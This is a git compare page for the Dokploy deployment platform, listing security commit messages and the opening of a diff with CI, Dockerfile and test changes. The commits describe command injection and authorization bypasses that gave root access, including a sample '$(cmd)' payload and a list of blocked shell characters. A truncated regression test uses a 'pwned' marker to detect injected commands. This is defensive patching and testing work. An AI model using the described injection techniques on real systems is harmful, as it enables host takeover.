Compare commits

..

109 Commits

Author SHA1 Message Date
Mauricio Siu
35c30a1210 test: assert domain payload never parses as a shell operator (drop literal check)
quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
2026-07-20 16:07:11 -06:00
Mauricio Siu
a83b2026f6 fix(security): escape compose domain error message to prevent command injection
writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
2026-07-20 16:01:47 -06:00
Mauricio Siu
8c2e91a5e6 Merge pull request #4870 from Dokploy/fix/github-setup-callback-authz
fix(security): missing authorization on GitHub App setup callback (unauth cross-org write)
2026-07-20 15:40:46 -06:00
Mauricio Siu
0514363062 chore: drop explanatory comments in github setup handler 2026-07-20 15:37:17 -06:00
Mauricio Siu
ffb8d4396b Merge pull request #4869 from Dokploy/fix/schedule-host-authz-bypass
fix(security): host-schedule owner/admin bypass via applicationId (member → root)
2026-07-20 15:34:19 -06:00
Mauricio Siu
5ae344db58 fix(security): authenticate and authorize the GitHub App setup callback
The /api/providers/github/setup callback performed privileged writes (persisting
App client_secret/webhook_secret/private_key, re-pointing installations) with no
session check, deriving the write target (organizationId/userId on gh_init,
githubId on gh_setup) from the attacker-controlled state parameter. An
unauthenticated request, or a member with no gitProviders permission, could plant
or re-point a provider in any organization.

Require a valid session, gate on the gitProviders permission (same guard the tRPC
github router uses), derive the create target from the session, and verify the
gh_setup provider belongs to the caller's organization.
2026-07-20 15:32:06 -06:00
autofix-ci[bot]
f339805ddf [autofix.ci] apply automated fixes 2026-07-20 21:30:52 +00:00
Mauricio Siu
8fe3294a08 fix(schedule): give scheduleType a clean enum type for the host-access gate
createInsertSchema inferred scheduleType as a broadened union (drizzle-zod 0.5.1),
so passing input.scheduleType into assertHostScheduleAccess failed typecheck on a
cold build. Refine the insert schema's scheduleType to a plain z.enum and type the
helper param as the schedule enum.
2026-07-20 15:30:13 -06:00
Mauricio Siu
1e3f10bd22 fix(security): enforce owner/admin gate on host schedules regardless of service link
Host-level schedules (server / dokploy-server) run their script as root on the
host. The owner/admin gate only ran in the no-service branch, so a member could
attach an accessible applicationId to a dokploy-server schedule and skip it,
gaining root via schedule.runManually.

Extract assertHostScheduleAccess into the schedule service and call it before
the service-access branch in create/update/delete/runManually so the host-level
authorization always applies.
2026-07-20 15:22:06 -06:00
Mauricio Siu
393fb92344 Merge pull request #4865 from Dokploy/fix/authz-websocket-handlers
fix(security): missing authorization on docker/terminal WebSocket handlers (member -> root)
2026-07-20 15:00:02 -06:00
Mauricio Siu
79c9cf99e0 fix(security): pass serviceId from the remaining terminal entry points
- application general 'Open Terminal' now passes serviceId (applicationId).
- The docker/terminal DockerTerminalModal now forwards serviceId to its Terminal.
- compose container rows thread serviceId to their terminal + logs modals.

This lets a member with service access (but without the docker permission) open
the terminal / read logs of their own service's containers from every service
view, matching the backend service-first authorization.
2026-07-20 01:20:16 -06:00
autofix-ci[bot]
6cbc7a0031 [autofix.ci] apply automated fixes 2026-07-20 07:15:39 +00:00
Mauricio Siu
eb1f11b908 fix(security): service access is authoritative for service-scoped wss ops
When a container is opened from a service page (serviceId present), gate on
service access alone — matching application.readLogs — instead of requiring the
docker permission first. This unblocks a member who has the service but not the
canAccessToDocker permission (or the server it runs on) from reading its logs /
opening its terminal. Generic Docker-overview ops (no serviceId) still require
docker permission + server access.
2026-07-20 01:15:18 -06:00
autofix-ci[bot]
1a3c76d1f2 [autofix.ci] apply automated fixes 2026-07-20 06:48:40 +00:00
Mauricio Siu
1e354a3cf2 fix(security): check service access before server in wss authz, and pass serviceId from log views
- Reorder canAccessDockerOverWss: docker permission -> service access (if
  serviceId) -> server access, so the service grant is the primary signal.
- Pass serviceId from the service log views (application + postgres/mysql/mariadb/
  mongo/redis/libsql + compose) so container logs opened from a service page are
  gated by checkServiceAccess, matching the terminal path.
2026-07-20 00:48:20 -06:00
Mauricio Siu
1bc76e9e5b Reapply "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 56169f3278.
2026-07-20 00:35:40 -06:00
Mauricio Siu
56169f3278 Revert "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 479d851829.
2026-07-20 00:29:19 -06:00
Mauricio Siu
479d851829 feat(security): enforce service-level access on docker WebSocket handlers
Completes GHSA-qf9j service-level dimension: when a container terminal/logs/stats
is opened from a service page, the frontend now passes serviceId, and the wss
authorizer calls checkServiceAccess so a member restricted to specific services
cannot reach another service's containers. Generic Docker-overview opens have no
serviceId and keep the docker-permission + server-access gate.

Verified against the local WebSocket: a member (docker:read=false) is rejected
with close code 4003; owner is allowed.

Closes GHSA-qf9j-c9p4-r4xp
2026-07-20 00:14:39 -06:00
Mauricio Siu
68f5afae42 fix(security): authorize docker/terminal WebSocket handlers
The /terminal, /docker-container-terminal, /docker-container-logs and
/docker-stats WebSocket handlers only checked session + organization, so any
authenticated member could open a root shell / read logs of any container, and
the local (serverId=local) branch reached a root SSH shell on the control-plane
host.

Adds an authorization layer (server/wss/authorize.ts):
- container ops (terminal/logs/stats): require the docker permission (owner/admin
  or a member granted canAccessToDocker); for a remote server, require the server
  be accessible to the caller.
- host/server terminal: the local host root terminal is restricted to owner/admin;
  a remote server terminal is gated on server access.

Closes GHSA-c68r-7wg9-p7v2, GHSA-899j-cjwp-v4gw, GHSA-7r6p-v9gw-pwc8, GHSA-qf9j-c9p4-r4xp
2026-07-19 23:49:02 -06:00
Mauricio Siu
637715ac66 Merge pull request #4864 from Dokploy/fix/cmdi-registry-swarm-node
fix(security): OS command injection via swarm nodeId and registry tag
2026-07-19 23:36:26 -06:00
Mauricio Siu
df2779eaeb fix(security): escape swarm nodeId and registry tag in cluster commands
- cluster.removeWorker: input.nodeId (z.string(), no regex) was interpolated raw
  into 'docker node update/rm ${nodeId}' — now shell-quoted.
- swarm image upload (getRegistryCommands): registryTag / imageName were
  interpolated raw into 'docker tag'/'docker push' and an echo. registryTag is
  built from username and imagePrefix, which have no schema regex, so it was
  injectable — now shell-quoted. (The docker login already used
  safeDockerLoginCommand, so credentials were already safe.)
- gpu-setup: nodeId (derived from 'docker info', not user input) escaped as
  defense-in-depth.

Closes GHSA-4mfc-grxw-6858, GHSA-hfwh-69ch-gv47, GHSA-prwq-2mcm-mvhr
2026-07-19 23:34:18 -06:00
Mauricio Siu
95a3556baa Merge pull request #4863 from Dokploy/fix/cmdi-compose-path-command
fix(security): OS command injection via compose path and custom command
2026-07-19 23:11:33 -06:00
autofix-ci[bot]
fbd84b9b0d [autofix.ci] apply automated fixes 2026-07-20 05:07:24 +00:00
Mauricio Siu
d48037a802 fix(security): escape compose path and validate custom compose command
- composePath / appName are now passed through shell-quote in createCommand,
  getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
  being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
  rejects shell control characters (; & | ` $ () {} <> newline), which a normal
  docker compose CLI line never contains, blocking breakout into host commands.

Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
2026-07-19 23:06:53 -06:00
Mauricio Siu
8539a5c82f Merge pull request #4862 from Dokploy/fix/cmdi-db-backup-restore
fix(security): OS command injection in database backup/restore commands
2026-07-19 22:59:42 -06:00
Mauricio Siu
ccd2e83c57 fix(security): pass db backup/restore identifiers via env vars to avoid injection
The backup and restore command builders interpolated database name / user /
password directly into a 'docker exec ... {bash,sh} -c "..."' string executed
via execAsync / execAsyncRemote. Because the values sit inside the outer shell's
double quotes, a simple quote() is insufficient: the outer shell expands $(),
backticks and $VAR before the inner quoting applies (double-nested shell).

Values are now passed to the container as environment variables (docker exec -e
VAR=<shell-quoted>) and referenced as "$VAR" inside a single-quoted inner
script, so they never enter the inner command text and cannot break out of
either shell layer. The rest of each command (pg_dump/mysqldump/etc., flags,
| gzip) is unchanged.

Closes GHSA-qc73-mp78-4833, GHSA-qf8x-98cv-92qh, GHSA-ww4j-wjrr-rq8v, GHSA-7m3w-rm5f-h4fr, GHSA-f7mp-9jfp-mjrr
2026-07-19 22:54:44 -06:00
Mauricio Siu
89effbe395 Merge pull request #4861 from Dokploy/fix/cmdi-db-service-dockerimage
fix(security): OS command injection via dockerImage in database service deploys
2026-07-19 22:46:44 -06:00
Mauricio Siu
b24202e69b fix(security): escape dockerImage in database service remote docker pull
The deploy functions for postgres/mysql/mariadb/mongo/redis/libsql interpolated
the user-settable dockerImage field unquoted into 'docker pull ${dockerImage}'
executed via execAsyncRemote (SSH) on the remote server path. Now passed through
shell-quote. The local path already used pullImage() (execFile-based) and is
unaffected.

Closes GHSA-6jrh-8qmg-jj3p
2026-07-19 22:45:31 -06:00
Mauricio Siu
0348f5fb38 Merge pull request #4860 from Dokploy/fix/cmdi-docker-build-pull
fix(security): OS command injection in docker build/pull commands
2026-07-19 22:40:47 -06:00
Mauricio Siu
cba0b253c7 fix(security): escape user input in docker build/pull commands
- dockerImage (buildRemoteDocker) -> docker pull / echo
- dockerContextPath (docker-file builder) -> cd
- publishDirectory (nixpacks builder) -> docker cp source/dest paths

These fields were interpolated unescaped into shell commands run via execAsync /
execAsyncRemote during deployment. All are now passed through shell-quote.
Registry credentials already went through safeDockerLoginCommand (unchanged).

Closes GHSA-g9cg-4mmj-mh7p, GHSA-jxxj-gmpx-h5rj, GHSA-qjrc-g63x-qhp9, GHSA-98j8-6vjr-c3xw
2026-07-19 21:53:55 -06:00
Mauricio Siu
1c31ed9969 Merge pull request #4859 from Dokploy/fix/idor-application-one-secret-redaction
fix(security): git provider secret disclosure via application.one
2026-07-19 21:46:29 -06:00
Mauricio Siu
ecbaf6060b refactor(security): exclude git provider secrets at query level in findApplicationById
Simpler and consistent with the existing registry column exclusion in the same
query: drop the secret columns from the nested github/gitlab/gitea/bitbucket
relations via columns:{ ...: false } instead of a post-fetch redaction helper.
Server-side clone paths re-fetch providers by id (find{Github,Gitlab,...}ById),
so deployments are unaffected. Column names are validated at compile time by
drizzle's typed columns config.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:43:51 -06:00
Mauricio Siu
c0afc48da8 docs: trim block comment on redactApplicationGitSecrets 2026-07-19 21:35:59 -06:00
Mauricio Siu
65fe737bc4 Merge pull request #4858 from Dokploy/fix/idor-swarm-cross-org
fix(security): cross-org IDOR + nodeId injection in swarm read endpoints
2026-07-19 21:28:53 -06:00
autofix-ci[bot]
77384b2183 [autofix.ci] apply automated fixes 2026-07-20 03:28:36 +00:00
Mauricio Siu
68ea9f7771 fix(security): redact git provider secrets from application.one response
findApplicationById eagerly loads the github/gitlab/gitea/bitbucket relations
(needed server-side to clone) including OAuth tokens, the GitHub App private key
and webhook secret. application.one returned them to the client, exposing them to
any member with service:read even when hasGitProviderAccess was false.

Adds redactApplicationGitSecrets() in the application service (blanks the secret
columns, immutably) and applies it to application.one. No client feature reads
these secrets (verified in the frontend); server-side clone paths use
findApplicationById directly, so behaviour is unchanged.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:28:02 -06:00
Mauricio Siu
182d3656bb refactor: inline the server org-scope check in each swarm handler
Match the existing getContainerStats style instead of a shared helper.
2026-07-19 21:26:37 -06:00
Mauricio Siu
c2c0e9c1c2 Merge pull request #4857 from Dokploy/fix/idor-server-ssh-key-disclosure
fix(security): SSH private key disclosure via server read endpoints
2026-07-19 21:22:56 -06:00
Mauricio Siu
5563699f71 fix(security): enforce org-scope on swarm reads and escape nodeId
swarm.getNodes/getNodeInfo/getNodeApps/getAppInfos accepted a caller-supplied
serverId and ran remote Docker Swarm reads against it with no organization
check, exposing another tenant's swarm topology cross-org (getContainerStats
already had the check; the others did not). getNodeInfo additionally
interpolated nodeId unescaped into 'docker node inspect ${nodeId}'.

Adds an org-ownership assertion to the four unscoped handlers and passes nodeId
through shell-quote in getNodeInfo.

Closes GHSA-jj6h-388v-9rwm
2026-07-19 21:20:47 -06:00
Mauricio Siu
117cfa1a89 test(types): annotate server record without sshKey relation in redaction test 2026-07-19 21:18:57 -06:00
Mauricio Siu
439eee45ed fix(security): redact SSH private key from server read responses
findServerById eagerly loads the sshKey relation (needed for server-side SSH
operations) including the plaintext privateKey. server.one and server.remove
returned that record to the client, exposing the private key to any member
with server:read regardless of canAccessToSSHKeys.

Adds redactServerSshKey() in the server service and applies it to the server.one
and server.remove responses. No client feature consumes the private key (the SSH
key management UI uses the dedicated sshKey router), and server-side callers keep
using findServerById directly, so behaviour is unchanged.

Closes GHSA-w9cp-jqfw-4xj9
2026-07-19 21:14:10 -06:00
Mauricio Siu
e88c6b6b4f Merge pull request #4856 from Dokploy/fix/idor-git-provider-secret-disclosure
fix(security): git provider credential disclosure via cross-org IDOR (.one endpoints)
2026-07-19 21:11:08 -06:00
Mauricio Siu
26cae3b8a9 fix(types): guard git-provider access check for optional id in getBranches
The getBranches inputs type the provider id as optional, so only fetch and
authorize when an id is actually present; the underlying getBranches already
returns [] when no id is supplied.
2026-07-19 21:04:54 -06:00
Mauricio Siu
071d9eacee fix(security): enforce org-scope on git provider read endpoints
The .one / getRepositories / getBranches / testConnection handlers for
github, gitlab, gitea and bitbucket resolved a provider by bare id under
protectedProcedure and returned the full row (OAuth tokens, app private
keys, webhook secrets) with no organization or entitlement check, letting
any authenticated user read another org's git-provider credentials (IDOR).

Adds assertGitProviderAccess() in the git-provider service (rejects cross-org
with NOT_FOUND and non-entitled same-org with FORBIDDEN, reusing the existing
getAccessibleGitProviderIds entitlement logic) and calls it in every read
handler before returning secret-bearing data.

Closes GHSA-66r5-5m5f-57vg
2026-07-19 20:55:53 -06:00
Mauricio Siu
57ecfa8884 Merge pull request #4855 from Dokploy/fix/cmdi-git-clone-providers
fix(security): OS command injection in git clone across all providers
2026-07-19 20:49:30 -06:00
Mauricio Siu
97cd7d1009 test(security): fix type error in shell-quote op assertion 2026-07-19 20:47:42 -06:00
Mauricio Siu
cf35eae73f test(security): regression tests for git clone command injection escaping 2026-07-19 20:44:46 -06:00
autofix-ci[bot]
fb7f5bd5b6 [autofix.ci] apply automated fixes 2026-07-20 02:32:57 +00:00
Mauricio Siu
47347ab885 fix(security): escape user input in git clone commands across all providers
User-controlled git fields (customGitUrl, branch names, repo owner/name,
gitlab namespace, SSH hostname) were interpolated unescaped into git clone /
ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing
authenticated OS command injection. All such values are now passed through
shell-quote before interpolation (defense at the sink, covering every code
path including the compose branch bypass).

Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px,
GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq,
GHSA-cg8g-x23v-5fw8
2026-07-19 20:32:15 -06:00
Mauricio Siu
74811073f6 Remove unused localization files for various languages in the Dokploy application, including common and settings JSON files for Azerbaijani, German, English, Spanish, Persian, French, Indonesian, Italian, Japanese, Korean, Kazakh, Malayalam, Dutch, Norwegian, and Polish. This cleanup helps streamline the localization process by eliminating empty files. 2026-07-19 20:11:20 -06:00
Mauricio Siu
df3965a581 Merge pull request #4800 from EvanSchleret/fix/typo
fix(ui): typos
2026-07-14 23:44:00 -06:00
Mauricio Siu
bddc0c3d15 Merge pull request #4825 from Dokploy/fix/allow-clearing-server-domain
fix(settings): allow clearing the server domain
2026-07-14 15:20:27 -06:00
Mauricio Siu
9626c162cc Merge pull request #4826 from Dokploy/fix/repo-selector-duplicate-names
fix(ui): disambiguate repos with the same name in the repository selector
2026-07-14 15:18:47 -06:00
Mauricio Siu
c4596ffa76 refactor(ui): improve repository and branch display in popovers
Updated the PopoverContent components across various provider files to ensure consistent width and padding. Enhanced the display of repository and branch names by adding truncation to prevent overflow in the UI. This change applies to Bitbucket, Gitea, GitHub, and GitLab provider components, as well as their respective compose components.
2026-07-14 15:16:56 -06:00
Mauricio Siu
de62aff0fb fix(ui): disambiguate repos with the same name in the repository selector
The repository CommandItem used the repo name as its cmdk value and
the check icon compared only names, so two repos with the same name in
different owners/orgs showed the selected checkmark and hover on both
entries. Key the item by owner/name and include the owner in the
selected comparison. GitLab already keyed by URL and is unaffected.

Fixes #4793
2026-07-14 11:42:31 -06:00
Mauricio Siu
d5dd35c8f8 fix(settings): allow clearing the server domain
The Server Domain form rejected an empty value ('Invalid domain name'),
making domain assignment a one-way operation. The backend already
removes the Traefik router and clears the host when it receives an
empty host, so only the client-side validation blocked removal.

Allow an empty domain to clear it, and skip the https/letsencrypt
requirements when the domain is being removed.

Fixes #4821
2026-07-14 11:39:30 -06:00
Mauricio Siu
4631ede015 Merge pull request #4823 from Dokploy/fix/compose-volume-suffix-access-mode
fix(compose): preserve named-volume access mode when adding suffix
2026-07-14 11:38:10 -06:00
Mauricio Siu
bc22d05f8d fix(compose): preserve named-volume access mode when adding suffix
The randomize/isolated-deployment volume transform split mount strings
on ':' and kept only the first two segments, so an access mode like
:ro, :z or :Z was silently dropped and read-only mounts became
read-write. Keep the full path+mode remainder when rebuilding the
mount string.

Fixes #4818
2026-07-14 11:34:46 -06:00
Mauricio Siu
7ba9818894 Merge pull request #4806 from tanaymishra/fix/validate-api-key-name-length
fix: validate API key name length to prevent opaque 500
2026-07-14 00:08:04 -06:00
Mauricio Siu
9142127fb3 Merge pull request #4814 from Dokploy/feat/backup-encryption-key
feat: export full keyring in backup encryption key file
2026-07-13 04:03:23 -06:00
Mauricio Siu
31380fd325 refactor(auth): simplify SSO configuration by removing unnecessary validation settings 2026-07-13 03:56:16 -06:00
tanaymishra
f577778667 fix: validate API key name length to prevent opaque 500
API key names longer than 32 characters were rejected by better-auth
with a 400 that surfaced as an opaque INTERNAL_SERVER_ERROR (the generic
"Failed to generate API key" toast). Add a shared name schema (min 1,
max 32, matching better-auth's default maximumNameLength) used by both
the tRPC input and the client form, and surface the limit on the Name
field so users see it before submitting.

Fixes #4798
2026-07-12 18:15:05 +05:30
Evan Schleret
12d3f1871c fix(ui): typos 2026-07-12 03:13:52 +02:00
Mauricio Siu
c04d56bf2c feat: export full keyring in backup encryption key file 2026-07-10 03:16:31 -06:00
Mauricio Siu
2e867c5be1 feat: optionally include encryption key in web server backups 2026-07-10 03:05:28 -06:00
Mauricio Siu
e87a245cdc Merge pull request #4789 from Dokploy/feat/encrypt-env-at-rest
feat: encrypt environment variables at rest with AES-256-GCM
2026-07-10 02:37:15 -06:00
Mauricio Siu
71bea42625 Merge pull request #4786 from juanjk24/patch-2
fix(ui): adjust button container to grid layout to prevent overflow in 2FA screen
2026-07-10 02:33:53 -06:00
Mauricio Siu
1cb9491013 feat: encrypt environment variables at rest with AES-256-GCM 2026-07-10 02:33:18 -06:00
Juan Cuellar
01ac30974f fix(ui): adjust button container to grid layout to prevent overflow in 2FA screen 2026-07-09 10:00:42 -05:00
Mauricio Siu
1c4414165d feat: enhance container dashboard with new features
- Added a "Ports" column to display container port information with sorting functionality.
- Implemented a dropdown menu item to copy the Container ID to the clipboard with a success toast notification.
- Introduced a state filter dropdown to filter containers by their current state, with options for all defined states.
- Added a refresh button to allow manual refreshing of the container list.
2026-07-09 02:47:12 -06:00
Mauricio Siu
93b7942f7d chore: update dependencies in pnpm-lock.yaml and package.json
- Added @better-auth/scim version 1.6.23 to package.json.
- Updated versions of several @codemirror packages in pnpm-lock.yaml:
  - @codemirror/autocomplete from 6.20.0 to 6.20.3
  - @codemirror/language from 6.12.1 to 6.12.4
  - @codemirror/search from 6.6.0 to 6.7.1
  - @codemirror/view from 6.39.15 to 6.43.6
2026-07-09 02:39:34 -06:00
Mauricio Siu
6224d57adb Merge pull request #4778 from Dokploy/feat/oss-concurrent-builds
feat: make concurrent builds an OSS feature
2026-07-09 02:25:00 -06:00
Mauricio Siu
8d0ae19b58 feat: make concurrent builds an OSS feature without license gating 2026-07-09 02:24:08 -06:00
Mauricio Siu
856cf33dd8 Merge pull request #4777 from Dokploy/perf/dedupe-module-singletons
perf: share db, docker and auth singletons across duplicated bundles
2026-07-09 02:18:42 -06:00
Mauricio Siu
7924794ae7 perf: share db, docker and auth singletons across duplicated bundles
The @dokploy/server modules get bundled multiple times per process
(esbuild inline copy, compiled node_modules copy, and several Next.js
chunks via transpilePackages), so every module-level side effect ran
once per copy: up to 6 postgres pools, 6 dockerode clients and 6
better-auth instances in the server process, plus the repeated
'Using Docker socket' logs at boot.

- db/index.ts: use the globalThis cache in production too (one pool per process)
- constants/index.ts: cache the dockerode client on globalThis
- lib/auth.ts: wrap betterAuth() in a factory and cache the instance
- Dockerfile: exec node directly instead of leaving pnpm resident (~100MB RSS)
2026-07-09 02:13:05 -06:00
Mauricio Siu
3c114e2b45 Merge pull request #4771 from Dokploy/feat/scim
feat(scim): SCIM 2.0 user provisioning (enterprise)
2026-07-09 02:10:06 -06:00
Mauricio Siu
cffd8464ef Merge pull request #4776 from Dokploy/fix/sso-trusted-origins-restart
fix(sso): apply trusted origin changes without server restart
2026-07-09 01:49:13 -06:00
Mauricio Siu
b3621bcfff fix(sso): apply trusted origin changes without server restart 2026-07-09 01:46:32 -06:00
autofix-ci[bot]
b4574aa097 [autofix.ci] apply automated fixes 2026-07-08 20:09:43 +00:00
Mauricio Siu
d831607f3a feat(scim): implement SCIM 2.0 user provisioning support 2026-07-08 14:06:22 -06:00
Mauricio Siu
995a04d30f chore(ui): reorganize imports across multiple components and tests for consistency 2026-07-08 12:28:41 -06:00
Mauricio Siu
e6bfaa2eac Merge pull request #4768 from imrja8/fix/command-dialog-crash
chore(ui): fix biome formatting issues from #4761
2026-07-08 10:31:08 -06:00
Yash Kumar
3912c1abcc Merge branch 'Dokploy:canary' into fix/command-dialog-crash 2026-07-08 15:47:55 +05:30
Yash Kumar
bb30dc14fe chore(ui): fix biome formatting in command.tsx to resolve CI failure 2026-07-08 15:45:30 +05:30
Mauricio Siu
532c8d0c0d Bump version from v0.29.10 to v0.29.11 2026-07-08 01:00:45 -06:00
Mauricio Siu
7871ce7684 Merge pull request #4755 from imrja8/fix/sidebar-collapsed-scroll
fix(ui): enable vertical scroll on collapsed sidebar
2026-07-07 11:55:32 -06:00
Mauricio Siu
98b86300df Merge pull request #4761 from imrja8/fix/command-dialog-crash
fix(ui): resolve CommandDialog crash on CMD/CTRL + J shortcut
2026-07-07 11:54:14 -06:00
Mauricio Siu
82fcdc9598 Merge pull request #4763 from Dokploy/fix/rebuild-database-dialog-crash
fix(databases): resolve crash when opening rebuild database dialog
2026-07-07 11:53:27 -06:00
Mauricio Siu
4e3a6db83a fix(databases): resolve crash when opening rebuild database dialog 2026-07-07 11:52:13 -06:00
Yash Kumar
17fdd64c10 fix(ui): resolve CommandDialog crash on ⌘J shortcut 2026-07-07 21:17:19 +05:30
Mauricio Siu
215c4666ff Merge pull request #4758 from Dokploy/feat/pin-install-script-version
feat(ci): pin install.sh release asset to the released version
2026-07-07 02:58:12 -06:00
Mauricio Siu
9749d86b4c feat(ci): pin install.sh release asset to the released version 2026-07-07 02:57:58 -06:00
Mauricio Siu
12a9cceec7 Merge pull request #4757 from Dokploy/feat/attach-install-script-to-releases
feat(ci): attach install.sh to each GitHub release
2026-07-07 02:43:13 -06:00
Mauricio Siu
d3e0b100a0 feat(ci): attach install.sh from website repo to each release 2026-07-07 02:42:36 -06:00
Yash Kumar
a296407c85 fix(ui): enable vertical scroll on collapsed sidebar 2026-07-07 10:08:09 +05:30
Mauricio Siu
0d79a0a221 Merge pull request #4751 from Dokploy/fix/requests-chart-not-visible
fix(requests): chart not visible in Requests tab
2026-07-06 19:01:26 -06:00
Mauricio Siu
c9ac7236a7 fix(requests): remove nested ResponsiveContainer breaking chart height 2026-07-06 19:00:46 -06:00
Mauricio Siu
6e5ac41bab refactor(sso): remove deprecated enterprise authentication card from settings page
- Eliminated the EnterpriseFeatureGate card for Application Authentication from the SSO settings page to streamline the UI.
- This change simplifies the layout and focuses on relevant features for users, particularly in non-cloud environments.
2026-07-06 18:43:25 -06:00
Mauricio Siu
d7b9f01567 fix(ui): update project name display in environment page
- Wrapped the project name in a paragraph element to improve text styling and ensure proper truncation for better readability.
- Enhanced the layout of the EnvironmentPage component for a more polished user interface.
2026-07-06 16:59:16 -06:00
Mauricio Siu
8f9be1636c feat(whitelabeling): implement public whitelabeling configuration retrieval
- Added a new service to fetch public whitelabeling configuration for unauthenticated contexts.
- Updated the whitelabeling router to utilize the new service for public requests.
- Enhanced license validation checks to ensure proper access control based on organization licenses.
2026-07-06 16:33:12 -06:00
Mauricio Siu
86f941d606 feat(sidebar): add enterprise badge for valid license in sidebar
- Integrated a new Badge component to display an "Enterprise" label when a valid license is detected.
- Enhanced the sidebar layout to accommodate the new badge alongside the organization name, improving user visibility of license status.
2026-07-06 15:49:55 -06:00
Mauricio Siu
a5bb9486a9 chore(package): bump version to v0.29.10 2026-07-06 03:37:58 -06:00
Mauricio Siu
c72698cc11 Merge pull request #4745 from Dokploy/feat/plan-limits
Feat/plan limits
2026-07-06 03:37:31 -06:00
Mauricio Siu
a1b26e8b83 Merge pull request #4744 from emi-ran/fix/sort-dropdown-scrollbar
fix(ui): prevent scrollbar layout shift
2026-07-06 03:37:16 -06:00
Mauricio Siu
b176f8f860 refactor(ui): streamline button styles and layout in dashboard components
- Removed unnecessary width class from buttons in ShowNodeApplications and ShowNodeConfig components for a cleaner design.
- Updated spacing in the NodeCard component to use gap instead of space-x for improved layout consistency.

These changes enhance the visual consistency and usability of the dashboard UI components.
2026-07-06 03:35:39 -06:00
autofix-ci[bot]
59b0e51ef7 [autofix.ci] apply automated fixes 2026-07-06 09:33:30 +00:00
Mauricio Siu
8c900408bd fix(tag-filter): update no tags message and improve layout
- Changed the message displayed when no tags are found to "No tags created yet." for better clarity.
- Added a consistent layout for the tag handling component in both TagFilter and TagSelector, ensuring a unified user experience.
2026-07-06 03:32:26 -06:00
Mauricio Siu
8db1250487 fix(ui): improve select component behavior and styling across various providers
- Added a check to prevent empty values from being processed in the onValueChange handler for Bitbucket, Gitea, GitHub, and GitLab providers.
- Removed unnecessary defaultValue prop from Select components to streamline the code.
- Updated button styles to remove background color for better consistency across the UI.
- Enhanced volume backup selection to display a message when no volumes are found.

This update enhances user experience by ensuring that empty selections are handled gracefully and improves the overall visual consistency of the UI components.
2026-07-06 03:27:52 -06:00
Emirhan
71bbbb44db fix(ui): prevent scrollbar layout shift 2026-07-06 10:39:16 +03:00
250 changed files with 21513 additions and 3452 deletions

View File

@@ -152,6 +152,14 @@ jobs:
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v2
with:
@@ -160,6 +168,7 @@ jobs:
generate_release_notes: true
draft: false
prerelease: false
files: install.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

View File

@@ -69,4 +69,5 @@ EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]

View File

@@ -0,0 +1,26 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});

View File

@@ -0,0 +1,106 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
